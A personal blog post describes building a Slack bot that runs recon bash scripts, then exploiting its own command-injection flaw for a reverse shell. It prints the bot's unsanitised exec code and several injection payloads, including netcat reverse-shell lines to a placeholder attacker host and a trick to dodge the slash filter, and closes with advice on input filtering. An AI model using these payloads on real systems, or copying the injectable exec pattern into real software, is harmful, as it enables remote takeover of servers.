Hacking a SlackBot (That I Made)
Hi All, First Medium article, woohoo! I was writing a WordPress blog independently for some time and fell off from updating it. I’ve learned a whole bunch since then.
Today I want to talk about a fun little project I was working on, and also a little unexpected experiment I decided to do once I had the project up and running. The project was a SlackBot. For those of you who area not familiar with Slack, it is basically an instant messaging platform used by organizations and individuals around the world. It supports many of the major features you would expect in todays world from a chat application. There is video calling, voice calling, classic text chatting, support for tons of different integrations, and plenty more. If you are familiar with Discord, you would be up to speed with Slack pretty quickly.
The feature I was using in my project was the ability to create “SlackBots”. For you 90’s babies… think of this as AIM’s “SmarterChild”. The main difference is of course, that SlackBots support a much wider variety of input and interactivity which allows for the developer(s) to achieve an almost endless amount of things all through an easy to use messaging platform. It’s worth noting that I am not a developer. My background is in IT Networking, Windows Active Directory Administration, and as of the last 4 years or so… CyberSecurity. So if you see any code that makes you cringe, you have been forewarned :) but I will happily take constructive criticism!
So what did I want this SlackBot I was making to do exactly? Well as I mentioned I live and love the world of Information Security. I often find myself doing independent internet research or bug bounties even when I’m not “on the clock” conducting penetration tests at my full time job.
Sometimes I want to just run a tool quickly to grab some output from it but I am away from my PC. I thought to myself, it would be nice if I could just leverage the mobile Slack application on my cell phone to either submit commands to a Linux box, or to stream the output from a command to my phone as I was away from my machine. This was what I set out to do via a SlackBot.
Especially in the world of bug bounty hunting, recon is considered “king” in finding the most valuable vulnerabilities. If you factor in how many people are poking at various public bug bounty targets on a given day, it can feel discouraging to even look. This is where I have learned you can save a lot of time though. Two things that will slow you down when looking for bugs are:
- Digging through tons of data and portions of an application that have likely been heavily pillaged already. Maybe you are lucky or smart enough to catch something others missed.
- Only using tools that others have developed, or that are very well known. Someone (or hundreds of someones for that matter) has already ran the tool with every basic flag combination you can come up with. Probably the same fuzzing lists, dictionaries, etc.
Creating toolsets of your own is something I suggest, and although it might feel like it’s slowing you down initially it will get you much farther in the long run. These don’t all have to be “from scratch” tools, but should really be something that gives you a unique approach in bug hunting since anything less is most likely what the vast majority are already doing. This can be a whole topic of it’s own of course, so on to the point.
I have never really played with Slack outside of it’s pretty normal workplace uses so there was a little bit of a learning curve when combined with my lack of development background, but things came together enough for this articles purpose.
So to start, you have to have your Slack account and “Workplace” created. This is basically the instance where you can have a private group of users and channels to interact among one another. Once you have that created, you will need to start digging in to the Slack documentation to understand what you are trying to do. Or at least I know I sure did! It wasn’t super difficult to understand and looking for what I wanted was for the most part pretty painless. It was just a matter of putting the puzzle pieces together. I kind of figured the workflow would look something like:
- Private channel created where my SlackBot would actively listen to be called upon or “Mentioned”
- User submits a domain name they would like to get some more information on (e.g. Medium.com)
- SlackBot will privately message the information to the user who submitted the domain name.
As I’ll continue to emphasize, my web development skills are essentially minimal outside of knowing enough to breaking them, but regardless I decided to use Node.js to host the server for my SlackBot which would accept the user input from Slack, do a little magic to feed the data to some back end bash scripts, and ultimately return data to the user in a direct private Slack message. There seemed to be a good amount of documentation and overall support for Node.js SlackBot development, and it gave me a reason to work in something besides Python.
I already had an Ubuntu server running in Digital Ocean so I figured I would just leverage that to fire up the Node web server. Rather than re-invent the FreeCodeCamp article that I followed to get most of the way up and running, I’ll just link it here.
The biggest struggle I really had was a lot of the resources I found to point me in the right direction were all referencing methods that are considered deprecated by Slack as they have expanded their API vastly. I had to poke around in their up-to-date documentation and cross reference that with a lot of the resources similar to the one above in order to ultimately sculpt my final workflow.
After getting the server and bot running, listening, and responding to messages that mention it (with the app_mention “event”) I knew I just had to better understand how to parse the data in the message that mentioned the bot. To start, I wanted to feed a domain to the bot via a slack message and get a DNS and Reverse DNS lookup back in response. For some extra razzle-dazzle I thought maybe I’d try to get some HTTP Response Headers as well.
I was hit with a wave of responses in the form of a direct message from the SlackBot! Perfect. I was given a warning from the generic SlackBot provided with each Workspace that the messages were coming in too quickly and that data risked being dropped or throttled. That is something that I still need to work through as of the time of this writing. SlackBot API documentation does have a section that discusses this and offers a handful of solutions. I’m sure that is what I’ll end up referencing.
So now we can see… put a domain in, get some great information back instantly. Just what we wanted. Now that we have the messages being accepted and properly parsed, as well as the responses being sent by/from the SlackBot, the hardest part for me was done. Well, besides that rate limiting issue I still need to work through. Especially if the script grows to fill more needs and starts to put out higher volume responses. Nonetheless, for the purpose of this article I am good to keep moving on.
I have done plenty of bash scripting in my life which is what was actually was doing all the “work” behind the scenes in terms of the actual recon tooling. Any additional modules or functionality that I wanted to add at this point should be as straight-forward as adding to the bash scripting.
Let’s dive in the to the code to see what exactly this operation looks like!
This is the index.js file that is running on the node server. Again… it’s purpose is ultimately to front-end the “listening” side of the bot. Any lines prefaced with “//” are comment lines for those not familiar with JavaScript. I try my best to describe what is happening here.
index.js — The web server/SlackBot “logic”
// Basically loading required modules and configuring the Slack setupconst express = require(‘express’)
const bodyParser = require(‘body-parser’)const port = process.env.PORT || 3000
const app = express()const { createEventAdapter } = require(‘@slack/events-api’)
const slackEvents = createEventAdapter(process.env.SLACK_SIGNING_SECRET)const { WebClient } = require(‘@slack/web-api’)const token = process.env.SLACK_BOT_TOKEN
const webClient = new WebClient(token)app.use(‘/slack/events’, slackEvents.expressMiddleware())app.use(bodyParser.urlencoded({extended: true}))
app.use(bodyParser.json())// Starts server which will listen for Events from Slack app.listen(port, function() {
console.log(‘Bot is listening on port ‘ + port)
})//Tells SlackBot to specifically listen for it to be mentioned, if mentioned it will take the input "e.g. /medium.com" and parse it properly to pass the domain name to the "Recon2Slack.sh" script. It also parses out which user mentioned them so the proper user gets the response.slackEvents.on(‘app_mention’, async (event) => {
try {
const domain = event.text
console.log(event)
var clean = domain.split(“/”)
var passed = clean[1]
var script =’./Recon2Slack.sh ‘
var complete = script.concat(passed, ‘ ‘)
var usr = event.user
var dblcomplete = complete.concat(usr)
console.log(dblcomplete)
const { exec } = require(‘child_process’);
exec(dblcomplete, (err, stdout, stderr) => {
if (err) {
} else {
console.log(`${stderr}`);
}
});
} catch (e){
}
})
Recon2Slack.sh — Will execute “ReconRun.sh” and send its output line-by-line in a direct message to the Slack user who requested it. You will need your own Bearer token from the Slack App management page discussed more in the link shared earlier in the article.
#!/bin/bashwhile IFS="" read -r p || [ -n "$p" ]
do
ARRAY[$c]="$p"
c=$((c+1))
curl -s -X POST -H 'Authorization: Bearer xoxb-xxxxxxxxxx-xxxxxxxxxxxxx-xxxxxxxxxxxxxxxxxxx' \
-H 'Content-type: application/json' \
--data-binary '{"channel":"'"$2"'","text":"'"$p"'"}' \
https://slack.com/api/chat.postMessage
done < <(./ReconRun.sh $1)
ReconRun.sh — Does the actual recon. In this case I leverage a paid account at HackerTarget.com, hence the redacted API key. You could really put whatever command you want here that would accept a domain as the argument though. The domain is being passed as the first argument to the bash script so you just need to drop the “$1” wherever the domain belongs in your command if it’s different from mine :)
#dns lookup via hackertarget
curl -s "https://api.hackertarget.com/dnslookup/?q="$1"&apikey={redacted}"
#mtr via hackertarget
#curl -s "https://api.hackertarget.com/mtr/?q="$1"&apikey={redacted}"
#reverse dns via hackertarget
curl -s "https://api.hackertarget.com/reversedns/?q="$1"&apikey={redacted}"
#whois via hackertarget
#curl -s "https://api.hackertarget.com/whois/?q="$1"&apikey={redacted}"
As I build out the practices for Red Teaming engagements and plan to pass the day to day pentesting to a new hire eventually, I really am focusing on “opsec” more then I have in the past. This essentially means staying as invisible or silent as possible while engaged with the target. Leveraging Hackertarget or other web applications that have done the recon for you can help with this. Shodan is another example that has a great API to work with but there are at least a dozen which have a good reputation for this type of information collection.
From here my goal was to start modifying things for efficiency. As mentioned earlier, working on the throttling or maybe queuing up more data at once before sending the messages is an example. Adding more recon to the final script and possibly some parsing to the output of those tools would be another example. But the “hacker” spirit in me was already thinking… So if all I’m really doing is passing relatively unfiltered arguments to a bash command line… can I …??
Well look at that…
Well that’s an RCE… glad I’m thinking ahead. Ha. So my next logical step was the holy grail of hacking. The illusive “reverse shell”. I mean I’m already foolishly running the web server as root (which I would suggest not doing)… so a shell would be a root shell immediately. Awesome.
The parsing that is done on the node server to extract the domain however, breaks up input where it finds a forward slash… so the classic reverse shell “one-liners” are probably going to break when the parser hits them. But for example sake, lets shoot for it.
@Command2Slack /medium.com;nc -e /bin/sh {attacker ip/domain} 8080;
Yep, sure enough… the nc command I was trying to use to send a bash instance to my attack machine was broken because of the forward slash. Anything past the “-e” doesn’t make it. Hmm… Well this was a “blind” attack to begin with since the vulnerability doesn’t result in some visible action within Slack chat itself. If we didn’t have access to the actual web server, we wouldn’t have even known for sure if out code was executing… If we put ourselves in an attackers shoes, we would need some other way to confirm we had command execution. I thought I would try nc own it’s own as a raw TCP client to at least see if I could get a connection, even it it was without a shell.
@Command2Slack /medium.com;nc {attacker ip/domain} 8080;
So how can we get a shell when the forward slash breaks up our input? That is something I pondered for a bit…
Well I run a test right on the vulnerable machine to make sure the command I’m even considering trying will run - a luxury I wouldn’t have as an actual attacker. I try storing the output from “which bash” command as a variable since its value is “/bin/bash”. Then using that variable where the forward slashes were getting rejected.
attacker=$(which bash); nc -e "$attacker"{attacker ip/domain} 8080;
Heh… figures… the version of nc installed on the target doesn’t have the -e flag.
nc: invalid option -- 'e'
Well, maybe ol’ reliable (Python) will come to the rescue? I think about what a command might look like to achieve the reverse shell with Python. When it’s cobbled together I review and confirm I have avoided any forward slashes and am pretty confident no other special chars will break parsing. Here is what I came up with. Note I leverage os.environ to grab the $SHELL environmental variable (which is /bin/bash ) and pass that to a variable named cmd, ensuring to convert to string. The rest of the command is essentially a well known reverse shell “one-liner” in Python, but with the cmd string-variable placed where normally you would use /bin/bash …
When I had originally used the nc command to test my blind execution, I had a good 30 second delay or so which felt quick because I had already been pretty confident it would at least connect. But this python string was a little bit of patchwork so the 30 seconds or so felt much longer as I anxiously awaited the beautiful interactive bash shell sent back from python. Just when I start to wonder if I have to rethink something…
We have now pwned (YEETED?) the SlackBot server. Something I really wouldn’t have ever thought about as an attack vector until I was mid-way through making one for the initial reason discussed. Of course the impact of having a vulnerable SlackBot would range pretty widely based on a number of things such as….
- Where is the server located (on-prem in an organzation, or on a random VPS in “the cloud”?). If on prem, is it in a DMZ, or segmented like a web server should be? If on prem and not segmented, an attacker will likely pivot to higher value resources on the network!
- If any sensitive data is being logged, stored, displayed (console.log), etc, by the SlackBot or another application… that may be stolen/compromised
- Sometimes attackers just want server resources and don’t care specifically about what is on the compromised server (a botnet consist of exactly this), but this can still lead to poor performance of the intended applications running on the server. It could also get your IP addresses flagged as malicious which then can have a vast number of inconveniences associated with it (especially if static IP(s)), should the attacker use the server maliciously in an outward facing way.
I have been meaning to make a vulnerable VM for awhile to submit somewhere like HackTheBox or TryHackMe, turns out I made a vulnerable SlackBot first -_- go figure…
Lastly, let me emphasize the importance of filtering untrusted user submitted data… this is essentially the downfall of so many applications that have vulnerabilities. There is some entry point, and what is passing through is not being inspected, stripped, limited, or parsed in a safe way. To give a simple example, the only things you should ever need in a phone number field are numerals/digits, much like the only thing my SlackBot should ever accept (for now) is a forward slash followed by a domain name.
Tis all for now. Hope You enjoyed
_N0ur5